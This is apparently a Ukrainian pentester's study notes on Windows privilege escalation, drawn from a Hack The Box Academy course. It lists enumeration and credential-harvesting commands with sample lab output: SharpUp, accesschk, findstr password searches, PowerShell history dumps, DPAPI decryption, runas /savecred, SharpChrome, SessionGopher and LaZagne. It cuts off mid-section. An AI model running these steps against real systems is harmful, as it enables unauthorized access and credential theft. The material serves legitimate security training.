root@htb:~/privesc# cat notes.md

WINDOWS PRIVILEGE ESCALATION

// польовий довідник пентестера

WIN PRIV

Джерело: Hack The Box Academy — Windows Privilege Escalation
Мета: Структурований конспект пентестера
Формат: Enumeration-first, з кросреференсами
Версія: 1.0
Автор: **pentester notes (20y exp)**

[LEGAL NOTICE]
Матеріал адаптовано з легального навчального джерела Hack The Box Academy. Використання виключно в навчальних цілях та в межах авторизованого пентесту. Застосування описаних технік без письмового дозволу власника системи є незаконним.

Зміст

[01] Вступ та методологія

1.1 Що таке privilege escalation на Windows

1.2 Послідовність дій пентестера

1.3 Легенда умовних позначень

[02] РОЗДІЛ-ЧЕКЛІСТ: Перерахування (Enumeration)

2.1 Базова інформація про систему і користувача

2.2 Перерахування привілеїв та груп

2.3 UAC — перевірка статусу

2.4 Встановлені оновлення та хотфікси

2.5 Перерахування сервісів і їх прав

2.6 Unquoted Service Paths

2.7 Registry ACLs та Autorun

2.8 Встановлений софт і локальні порти

2.9 Credential hunting — файли, конфіги, реєстр

2.10 Browser, password managers, saved sessions

2.11 Wi-Fi, cmdkey, DPAPI

2.12 DLL hijacking — procmon recon

2.13 AlwaysInstallElevated

2.14 Автоматизовані enumeration скрипти

[03] UAC Bypass

3.1 Як працює UAC

3.2 DLL Hijacking через SystemPropertiesAdvanced.exe

[04] Weak Permissions

4.1 Permissive File System ACLs

4.2 Weak Service Permissions

4.3 Unquoted Service Path

4.4 Permissive Registry ACLs

4.5 Modifiable Registry Autorun Binary

[05] Kernel Exploits & Notable CVEs

5.1 Історична таблиця MS-бюлетенів

5.2 HiveNightmare / SeriousSam (CVE-2021-36934)

5.3 PrintNightmare (CVE-2021-1675 / 34527)

5.4 CVE-2020-0668 — Service Tracing Arbitrary File Move

[06] Vulnerable Third-Party Services

6.1 Druva inSync — приклад реального кейсу

[07] DLL Injection & Hijacking
7.1 Методи ін'єкції (LoadLibrary, Manual Map, Reflective)
7.2 DLL Hijacking — search order
7.3 DLL Proxying (практичний кейс)
7.4 Missing DLL hijack (Invalid Libraries)
[08] Credential Hunting
8.1 Конфіги та application files
8.2 Dictionary files
8.3 Unattended installation (unattend.xml)
8.4 PowerShell History
8.5 PowerShell DPAPI-encrypted credentials
8.6 Інші файли (Sticky Notes, pagefile, SAM copies)
[09] Further Credential Theft
9.1 Cmdkey / saved RDP credentials
9.2 Browser credentials (SharpChrome)
9.3 Password managers (KeePass offline crack)
9.4 LaZagne
9.5 SessionGopher
9.6 Clear-text creds у реєстрі (Autologon, PuTTY)
9.7 Wi-Fi passwords
[10] Citrix / Restricted Desktop Breakout
10.1 Dialog Box escape
10.2 SMB share з обмеженого середовища
10.3 Alternate Explorer / Registry editors
10.4 Shortcut & Script execution
10.5 AlwaysInstallElevated → backdoor user
10.6 UAC bypass з backdoor

1. Вступ та методологія

Цей документ — структурований конспект технік підвищення привілеїв на Windows, адаптований з курсу **Hack The Box Academy — Windows Privilege Escalation**. Матеріал зібрано у логіці реального пентесту: спочатку — повне перерахування (Enumeration), потім — тематичні розділи з технік експлуатації. Жодна команда з оригінального джерела не викинута; кожна команда супроводжується поясненням, що шукати в output.

1.1 Послідовність дій пентестера

Підвищення привілеїв на Windows — не магія, а планомірна робота:

1. **Зібрати контекст:** хто я, в якій системі, з якими правами, які патчі встановлені.
2. **Перерахувати можливі вектори:** сервіси, ACL, credentials, реєстр, софт.
3. **Виявити вразливість або конфіг:** зіставити перерахування з відомими техніками.
4. **Експлуатувати:** часто це проста дія (зміна binpath, запуск готового PoC, підміна DLL).
5. **Верифікувати:** `whoami` після отримання шелу як SYSTEM.
6. **Post-exploitation:** dump хешів, lateral movement, звіт.

1.2 Легенда умовних позначень

ℹ Блоки коду різного кольору відповідають різним оболонкам: `cmd` чорно-зелений, `PowerShell` синя смуга, `shell (Kali)` рожева смуга, `C/C++` фіолетова.

⏳ **ЧЕКАТИ:** Фіолетовий блок — команда довготривала, треба **почекати** її завершення.

⚠ **УВАГА:** Червоний блок — дія "гучна" або руйнівна, використовувати тільки з дозволу замовника.

✓ **TIP:** Зелений блок — порада з польової практики.

2. РОЗДІЛ-ЧЕКЛІСТ: Перерахування

Це — **центральний розділ документа**. Тут зібрані *усі* команди з усіх тематичних розділів, які використовуються для **пошуку векторів підвищення привілеїв**. Після кожної команди вказано приклад очікуваного виводу, що шукати в output, чи треба чекати, і посилання на розділ, де описано саму експлуатацію знайденого вектору.

Рекомендую проходити чекліст зверху вниз. Кожну знахідку — мінімум фіксуємо в нотатках і, за можливості, одразу перевіряємо на експлоатабельність.

2.1 Базова інформація про систему і користувача

[E01] Хто я і який у мене SID → Розділ 3 (UAC), Розділ 9 (Citrix)

cmd
```
C:\htb> whoami /user
```

out
```
USER INFORMATION
----------------

User Name               SID
======================= ==============================================
winlpe-ws01\htb-student S-1-5-21-1099898830-2877464494-3305337794-1002
```

▸ шукати `SID`; якщо RID = **500** — builtin Admin (high IL); інше = medium IL → UAC bypass

[E02] Членство в групі Administrators

→ Розділ 3, 4

cmd

```
C:\htb> net localgroup administrators
```

out

```
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the
computer/domain

Members

-------------------------------------------------------------------------------
Administrator
htb-student
mrb3n
The command completed successfully.
```

▸ чи наш юзер у секції **Members**

[E03] Привілеї поточного токена → Token abuse, Розділ 5

cmd
```
C:\htb> whoami /priv
```

out
```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeUndockPrivilege             Remove computer from docking   Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege           Change the time zone           Disabled
```

▸ **Enabled** на `SeImpersonate` / `SeBackup` / `SeDebug` / `SeLoadDriver` / `SeTakeOwnership`

cmd
```
C:\htb> whoami /all
```

out
```
USER INFORMATION
----------------
User Name                SID
======================== ==============================================
winlpe-ws01\htb-student  S-1-5-21-1099898830-2877464494-3305337794-1002

GROUP INFORMATION
-----------------
Group Name                             Type             SID
====================================== ================ ============
BUILTIN\Users                          Alias            S-1-5-32-545
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------
Privilege Name                 State
============================== ========
SeChangeNotifyPrivilege        Enabled
SeIncreaseWorkingSetPrivilege  Disabled
```

▸ рядок `Mandatory Label`: **Medium** = UAC активний, **High** = вже elevated

2.2 UAC — статус і рівень

[E04] Чи увімкнений UAC (EnableLUA) → Розділ 3

```cmd
C:\htb> REG QUERY
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v
EnableLUA
```

```out
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1
```

▸ `0x1` = UAC увімкнений, `0x0` = вимкнений (runas достатньо)

[E05] Рівень UAC (ConsentPromptBehaviorAdmin) → Розділ 3

```cmd
C:\htb> REG QUERY
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v
ConsentPromptBehaviorAdmin
```

```out
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5
```

▸ `0x5` = Always notify (максимум), `0x0` = ніколи

[E06] Версія/білд Windows

→ Розділ 3 (UACME lookup), Розділ 5

```ps
PS C:\htb> [environment]::OSVersion.Version
```

```out
Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      19041  0
```

▸ запам'ятати **Build** — зіставити з базою UACME

```ps
PS C:\htb> systeminfo
```

⏳ **ЧЕКАТИ:** Команда виконується кілька секунд — дочекатись повного виводу.

```out
Host Name:                 WINLPE-WS01
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.19041 N/A Build 19041
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
Original Install Date:     10/25/2023, 3:15:22 PM
System Boot Time:          12/14/2023, 9:01:05 AM
System Manufacturer:       VMware, Inc.
System Type:               x64-based PC
Total Physical Memory:     4,095 MB
Domain:                    WORKGROUP
Hotfix(s):                 5 Hotfix(s) Installed.
                           [01]: KB5003791
                           [02]: KB4562830
                           [03]: KB5000736
                           [04]: KB5003254
                           [05]: KB5003742
```

▸ `OS Version`, `System Type`, перелік `Hotfix(s)` з датами

[E07] PATH — пошук writable директорій

→ Розділ 3 (DLL hijack), Розділ 7

```ps
PS C:\htb> cmd /c echo %PATH%
```

```out
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowe
rShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\sarah\AppData\Local\Microsoft\Window
sApps;
```

▸ writable папки — особливо `...\AppData\Local\Microsoft\WindowsApps`

2.3 Встановлені оновлення та хотфікси

[E08] Список встановлених хотфіксів

→ Розділ 5 (Kernel Exploits)

cmd
```
C:\htb> wmic qfe list brief
```

out
```
Description      FixComments  HotFixID   InstalledBy          InstalledOn  Name
ServicePackInEffect
Security Update               KB4562830  NT AUTHORITY\SYSTEM  9/9/2020
Update                        KB5000736  NT AUTHORITY\SYSTEM  3/11/2021
Security Update               KB5003254  NT AUTHORITY\SYSTEM  5/13/2021
Update                        KB5003742  NT AUTHORITY\SYSTEM  5/20/2021
Security Update               KB5003791  NT AUTHORITY\SYSTEM  5/27/2021
```

▸ дата `InstalledOn` останнього KB (якщо > 3 міс — відстає)

ps
```
PS C:\htb> Get-Hotfix
```

out
```
Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
WINLPE-WS01   Security Update  KB4562830     NT AUTHORITY\SYSTEM  9/9/2020 12:00:00 AM
WINLPE-WS01   Update           KB5000736     NT AUTHORITY\SYSTEM  3/11/2021 12:00:00 AM
WINLPE-WS01   Security Update  KB5003254     NT AUTHORITY\SYSTEM  5/13/2021 12:00:00 AM
WINLPE-WS01   Update           KB5003742     NT AUTHORITY\SYSTEM  5/20/2021 12:00:00 AM
WINLPE-WS01   Security Update  KB5003791     NT AUTHORITY\SYSTEM  5/27/2021 12:00:00 AM
```

▸ свіжість патчів; зіставити KB з Microsoft Update Catalog

[E09] HiveNightmare check (SAM readable)

→ Розділ 5.2

cmd
```
C:\htb> icacls c:\Windows\System32\config\SAM
```

out
```
c:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

▸ `BUILTIN\Users:(I)(RX)` = **HiveNightmare** (CVE-2021-36934)

[E10] Print Spooler активний? → Розділ 5.3 PrintNightmare

```ps
PS C:\htb> ls \\localhost\pipe\spoolss
```

```out
    Directory: \\localhost\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/1/1601  12:00 AM              0   spoolss
```

▸ наявність `spoolss` у лістингу = Spooler працює → PrintNightmare

2.4 Сервіси та їх права

[E11] Автоматичний аудит SharpUp

→ Розділ 4 (усі підрозділи)

```ps
PS C:\htb> .\SharpUp.exe audit
```

⏳ **ЧЕКАТИ:** Інструмент обходить десятки перевірок — зачекати ~10-30 секунд.

```out
  ====================
     SharpUp v1.0.0
  ====================

[*] Running Privesc Checks

=== Modifiable Services ===

  Name             : WindscribeService
  DisplayName      : WindscribeService
  Description      : Manages the firewall and controls the VPN tunnel
  User             : LocalSystem
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"

=== Modifiable Service Binaries ===

  Name             : SecurityService
  User             : LocalSystem
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"

=== AlwaysInstallElevated Registry Keys ===

=== Unquoted Service Paths ===

[*] Completed Privesc Checks in 7 seconds
```

▸ секції `Modifiable Services`, `Modifiable Service Binaries`, `AlwaysInstallElevated`, `Unquoted Service Paths`

[E12] ACL на бінарник сервісу

→ Розділ 4.1 (Permissive File System ACLs)

```ps
PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

```out
C:\Program Files (x86)\PCProtect\SecurityService.exe
    BUILTIN\Users:(I)(F)
    Everyone:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

▸ `BUILTIN\Users:(F)` або `Everyone:(F)` = можна перезаписати .exe

[E13] ACL самого сервісу (start/stop/config)

→ Розділ 4.2 (Weak Service Permissions)

```cmd
C:\htb> accesschk.exe /accepteula -quvcw WindscribeService
```

```out
WindscribeService
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
```

▸ `Authenticated Users` + `SERVICE_ALL_ACCESS` = можна змінити binpath

[E14] Деталі конкретного сервісу → Розділ 4.3 (Unquoted Path)

```cmd
C:\htb> sc qc SystemExplorerHelpService
```

```out
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\System
Explorer\service\SystemExplorerService64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Explorer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

▸ `BINARY_PATH_NAME` з пробілом і **без лапок** = unquoted

```cmd
C:\htb> sc query WindScribeService
```

```out
SERVICE_NAME: WindScribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

▸ `STATE: 4 RUNNING` + прапорець `STOPPABLE`

[E15] Пошук unquoted service paths

→ Розділ 4.3

cmd

```
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" |
findstr /i /v "c:\windows\\" | findstr /i /v """
```

out

```
System Explorer Service  SystemExplorerHelpService  C:\Program Files (x86)\System
Explorer\service\SystemExplorerService64.exe  Auto
Pulse Secure Service     PulseSecureService         C:\Program Files (x86)\Common
Files\Pulse Secure\Integration\PulseAgentService.exe  Auto
```

▸ кожен рядок = кандидат; далі перевірити `icacls` на папки шляху

ℹ У реальному світі такі вразливості рідко експлуатуються: потрібен запис у `C:\` або `C:\Program Files`, що зазвичай вимагає адміна. Але бувають misconfigurations — завжди перевіряй `icacls` на кожну папку зі шляху.

[E16] Registry ACLs сервісів

→ Розділ 4.4 (Permissive Registry ACLs)

cmd

```
C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw
hklm\System\CurrentControlSet\services
```

out

```
RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS
RW HKLM\System\CurrentControlSet\services\ModelManagerService\Parameters
        KEY_ALL_ACCESS
RW HKLM\System\CurrentControlSet\services\ModelManagerService\Security
        KEY_ALL_ACCESS
```

▸ `KEY_ALL_ACCESS` або `KEY_WRITE` на ключі сервісу → зміна `ImagePath`

[E17] Startup / Autorun програми

→ Розділ 4.5 (Autorun Binary)

```ps
PS C:\htb> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User
|fl
```

```out
Name     : VMware User Process
command  : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
Location : HKU\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : NT AUTHORITY\LOCAL SERVICE

Name     : SecurityHealth
command  : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Name     : MyApp
command  : C:\CustomApps\myapp.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public
```

▸ writable `command`-файл або writable ключ у `Location`

[E18] Допоміжно — активні rundll32 процеси

→ Розділ 3 (UAC bypass cleanup)

```cmd
C:\htb> tasklist /svc | findstr "rundll32"
```

```out
rundll32.exe                  7044 N/A
rundll32.exe                  6300 N/A
rundll32.exe                  5360 N/A
```

▸ PID'и — **прибити** перед повторним UAC bypass

2.5 Встановлений софт і локальні порти

[E19] Список встановленого ПО → Розділ 6 (Vulnerable Services)

```cmd
C:\htb> wmic product get name
```

⏳ **ЧЕКАТИ:** На реальних системах видача може займати 10-60 секунд — потерпіти.

```out
Name
VMware Tools
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29334
Druva inSync 6.6.3
Windscribe
Microsoft Update Health Tools
System Explorer
7-Zip 19.00 (x64)
Mozilla Maintenance Service
Mozilla Firefox 91.0.2 (x64 en-US)
```

▸ VPN / антивіруси / backup-агенти з відомими CVE

[E20] Локальні слухаючі порти → Розділ 6

```cmd
C:\htb> netstat -ano | findstr LISTENING
```

```out
  TCP    0.0.0.0:135            0.0.0.0:0    LISTENING    1056
  TCP    0.0.0.0:445            0.0.0.0:0    LISTENING    4
  TCP    0.0.0.0:3389           0.0.0.0:0    LISTENING    964
  TCP    0.0.0.0:5040           0.0.0.0:0    LISTENING    3668
  TCP    127.0.0.1:6064         0.0.0.0:0    LISTENING    3324
  TCP    127.0.0.1:49668        0.0.0.0:0    LISTENING    672
  TCP    127.0.0.1:49669        0.0.0.0:0    LISTENING    1288
```

▸ `127.0.0.1` порти = локальні RPC сторонніх сервісів

```cmd
C:\htb> netstat -ano | findstr 6064
```

```out
  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324
  TCP    127.0.0.1:6064         127.0.0.1:50274        ESTABLISHED     3324
```

▸ `PID` власника порту → `get-process -Id`

[E21] Мапінг PID → процес і сервіс

→ Розділ 6

ps

```
PS C:\htb> get-process -Id 3324
```

out

```
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    450      24    37164      46892       1.25   3324   0 inSyncCPHwnet64
```

▸ ім'я процесу → пошук CVE по продукту

ps

```
PS C:\htb> get-service | ? {$_.DisplayName -like 'Druva*'}
```

out

```
Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service
```

▸ `Status: Running` → сервіс активний

2.6 Credential Hunting — файли та конфіги

[E22] Пошук слова "password" у конфігах → Розділ 8.1

```ps
PS C:\htb> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

⏳ **ЧЕКАТИ:** Рекурсивний пошук у поточній папці та підпапках — може бути повільним на великих директоріях.

```out
.\config\database.xml
.\notes.txt
.\scripts\deploy.config
.\web\web.config
```

▸ імена файлів з паролями (`web.config`, `database.xml`...)

```cmd
C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
```

```out
stuff.txt
creds.ini
notes.txt
```

▸ локальні імена: `notes.txt`, `creds.ini`

```cmd
C:\htb> findstr /si password *.xml *.ini *.txt *.config
```

```out
stuff.txt:password: l#-x9r11_2_GL!
creds.ini:password=Str0ngP@ss!
notes.txt:admin password: Welcome2023!
```

▸ **рядки** з паролями у контексті

```cmd
C:\htb> findstr /spin "password" *.*
```

⏳ **ЧЕКАТИ:** Сканує **всі** файли в дереві — дуже повільно, але знаходить паролі в будь-якому типі файлу.

```out
stuff.txt:1:password: l#-x9r11_2_GL!
backup\web.config:42:      <add name="conn"
connectionString="Server=.;Password=Sql!2020" />
scripts\deploy.ps1:15:$password = "D3pl0yMe!"
notes.md:8:My old password was Welcome1, new one is P@ssw0rd2024
```

▸ формат `filename:line:content` у будь-якому файлі

```ps
PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
```

```out
stuff.txt:1:password: l#-x9r11_2_GL!
notes.txt:3:admin password: Welcome2023!
```

▸ PowerShell + regex (`-Pattern`)

ℹ Особливо варто подивитись `C:\inetpub\wwwroot\web.config` — там часто лежать connection strings до БД з plaintext паролями.

[E23] Пошук за розширенням файлу

→ Розділ 8.1

cmd
```
C:\htb> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* ==
*.config*
```

out
```
C:\Users\htb-student\Documents\passwords.txt
C:\Users\htb-student\Desktop\creds.xml
C:\Users\htb-student\AppData\Roaming\UltraVNC\ultravnc.ini
C:\inetpub\wwwroot\web.config
C:\Program Files\MyApp\app.config
```

cmd
```
C:\htb> where /R C:\ *.config
```

⏳ **ЧЕКАТИ:** Сканує весь диск C: — чекати!

out
```
C:\inetpub\wwwroot\web.config
C:\Program Files\WindowsApps\Microsoft.Teams\app.config
C:\Program Files\MyApp\app.config
C:\Users\htb-student\.docker\config.json
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
```

ps
```
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -
ErrorAction Ignore
```

⏳ **ЧЕКАТИ:** Ще повільніше, але чистіше — `-ErrorAction Ignore` приховує "Access denied".

out
```
    Directory: C:\Users\htb-student\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/12/2023  3:24 PM            892 sql01.rdp
-a----         9/15/2023  2:10 PM            455 vcenter.vnc

    Directory: C:\inetpub\wwwroot

-a----          5/1/2023 11:08 AM           2340 web.config
```

[E24] Chrome custom dictionary

→ Розділ 8.2

```ps
PS C:\htb> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User
Data\Default\Custom Dictionary.txt' | Select-String password
```

```out
Password1234!
MyS3cur3P@ss
Summer2023!
Welcome@ILF
```

▸ паролі, які юзер *сам* додав у словник Chrome

[E25] Unattended installation files

→ Розділ 8.3

```cmd
C:\htb> dir /S /B C:\unattend.xml C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml C:\Windows\system32\sysprep\unattend.xml
C:\Windows\system32\sysprep.inf
```

```out
C:\Windows\Panther\Unattend.xml
C:\Windows\system32\sysprep\unattend.xml
```

▸ наявність → відкривати і шукати `<AutoLogon><Password>`

[E26] PowerShell history — поточний юзер

→ Розділ 8.4

```ps
PS C:\htb> (Get-PSReadLineOption).HistorySavePath
```

```out
C:\Users\htb-student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

▸ шлях до `ConsoleHost_history.txt`

```ps
PS C:\htb> gc (Get-PSReadLineOption).HistorySavePath
```

```out
cd C:\Tools
.\SharpUp.exe audit
Get-Service | ? {$_.Status -eq 'Running'}
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02
net use \\FILE01\backup$ /user:inlanefreight\svc_backup Backup!Pass2023
cls
```

▸ ключові слова: `/p:`, `/u:`, `-Credential`, `ConvertTo-SecureString`

[E27] PowerShell history — усі користувачі

→ Розділ 8.4

```ps
PS C:\htb> foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
```

```out
net user administrator P@ssw0rd_2023! /domain
Get-ADUser -Filter *
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)
$cred = New-Object PSCredential('svc_sql', (ConvertTo-SecureString 'Sql$erv1ce!' -AsPlainText -Force))
Invoke-Command -ComputerName SQL01 -Credential $cred -ScriptBlock {whoami}
exit
```

▸ історія **всіх** юзерів (запускати двічі: до і після local admin)

> ✓ **TIP:** Завжди запускати цю команду двічі: на етапі initial foothold і після local admin. Дивовижно, скільки паролів можна знайти саме в другий раз.

2.7 Інші файли з credentials

[E28] Sticky Notes database → Розділ 8.6

```ps
PS C:\htb> ls C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
```

```out
    Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/14/2023  10:25 AM                Legacy
-a----        12/14/2023  10:25 AM         204800 plum.sqlite
-a----        12/14/2023  10:25 AM          32768 plum.sqlite-shm
-a----        12/14/2023  10:25 AM          70104 plum.sqlite-wal
```

▸ наявність `plum.sqlite*` = є нотатки

```ps
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
```

```out
Execution Policy Change
Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"):
A
```

▸ натиснути `A` (Yes to All)

```ps
PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
```

```out
Text
----
\id=1a44a631-b1d4-466e-a135-0f8f58a9d04b
\pos=12,34
root:Vc3nt3R_adm1n!

ToDo list:
- patch servers
- update SCCM
- rotate backup password (current: B@ckup_2023!)
```

▸ текст нотаток — грепати на `:`, `password`, `root:`, `admin:`

```sh
Cyberduckk@htb[/htb]$ strings plum.sqlite-wal
```

```out
SQLite format 3
CREATE TABLE Note
root:Vc3nt3R_adm1n!
ToDo list: patch servers
rotate backup password (current: B@ckup_2023!)
Note_Body
WindowPosition
```

▸ рядки у plaintext — шукати `@`, `:`, `pass`

[E29] Чекліст інших "цікавих" файлів

→ Розділ 8.6

[E30] PowerShell DPAPI credentials

→ Розділ 8.5

```ps
PS C:\htb> dir /s /b C:\*.xml C:\*.ps1 | findstr /i "credential\|pass\|encrypt"
```

```out
C:\scripts\pass.xml
C:\scripts\Connect-VC.ps1
C:\Users\htb-student\Documents\cred.xml
C:\backup\encrypted-creds.xml
```

▸ `cred.xml`, `pass.xml` = Import-Clixml об'єкти

```ps
PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
PS C:\htb> $credential.GetNetworkCredential().username
```

```out
bob
```

▸ завантажити credential — розшифрується тільки в контексті автора

```ps
PS C:\htb> $credential.GetNetworkCredential().password
```

```out
Str0ng3ncryptedP@ss!
```

▸ **password** у plaintext

2.8 Browser, password managers, saved sessions

[E31] Збережені credentials Windows → Розділ 9.1

cmd
```
C:\htb> cmdkey /list
```

out
```
Currently stored credentials:

    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: inlanefreight\bob
    Local machine persistence

    Target: Domain:target=192.168.1.10
    Type: Domain Password
    User: ADMIN
```

▸ `Target` + `User` (сам пароль не видно, але `runas /savecred`)

ps
```
PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

out
```
Attempting to start COMMAND HERE as user "inlanefreight\bob" ...
```

▸ payload запуститься в контексті bob без пароля

[E32] Chrome saved logins → Розділ 9.2

ps
```
PS C:\htb> .\SharpChrome.exe logins /unprotect
```

out
```
[*] Action: Chrome Credentials (via unprotect())

--- Chromium Credential (User: htb-student) ---
URL       :  http://example.com/login
Username  :  bob
Password  :  Welcome1
Created   :  12/15/2023 9:15:42 AM

URL       :  https://portal.inlanefreight.local
Username  :  bob
Password  :  !Q@W3e4r
Created   :  11/20/2023 2:30:11 PM

[*] Action completed. 2 credentials found.
```

▸ `URL`, `Username`, `Password` збережених логінів

[E33] KeePass database на диску → Розділ 9.3

```ps
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.kdbx -ErrorAction Ignore
```

⏳ **ЧЕКАТИ:** Повний рекурсивний скан диска — довго.

```out
    Directory: C:\Users\htb-student\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/30/2023  4:12 PM           3584 Database.kdbx

    Directory: C:\Users\htb-student\OneDrive\Backup

-a----         9/15/2023  9:30 AM           4096 work-passwords.kdbx
```

▸ `.kdbx` = KeePass DB → offline brute

```ps
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.ppk, *.sdtid, *.rdp, *.vnc -
ErrorAction Ignore
```

```out
    Directory: C:\Users\htb-student\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/05/2023 11:20 AM           1675 prod-server.ppk
-a----        10/12/2023  3:24 PM            892 sql01.rdp
-a----         9/15/2023  2:10 PM            455 vcenter.vnc
```

▸ `.ppk` / `.sdtid` / `.rdp` / `.vnc`

[E34] SessionGopher — PuTTY/WinSCP/FileZilla

→ Розділ 9.6

```ps
PS C:\htb> Import-Module .\SessionGopher.ps1
PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01
```

```out
Target host: WINLPE-SRV01
Interrogating user Paul Morgan for saved session information...

[PuTTY] Session: nix03
  Hostname: nix03.inlanefreight.local
  UserName: <empty>
  PortNumber: 22

[WinSCP] Session: SSH Session
  HostName: sql01.inlanefreight.local
  UserName: dbadmin
  Password: DbAdm1n!
```

▸ `Hostname` + `Username` + `Password` сесій PuTTY/WinSCP

[E35] LaZagne — універсальний комбайн

→ Розділ 9.4

```ps
PS C:\htb> .\lazagne.exe -h
```

```out
usage: lazagne.exe [-h]
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,d
atabases,php} ...

positional arguments:
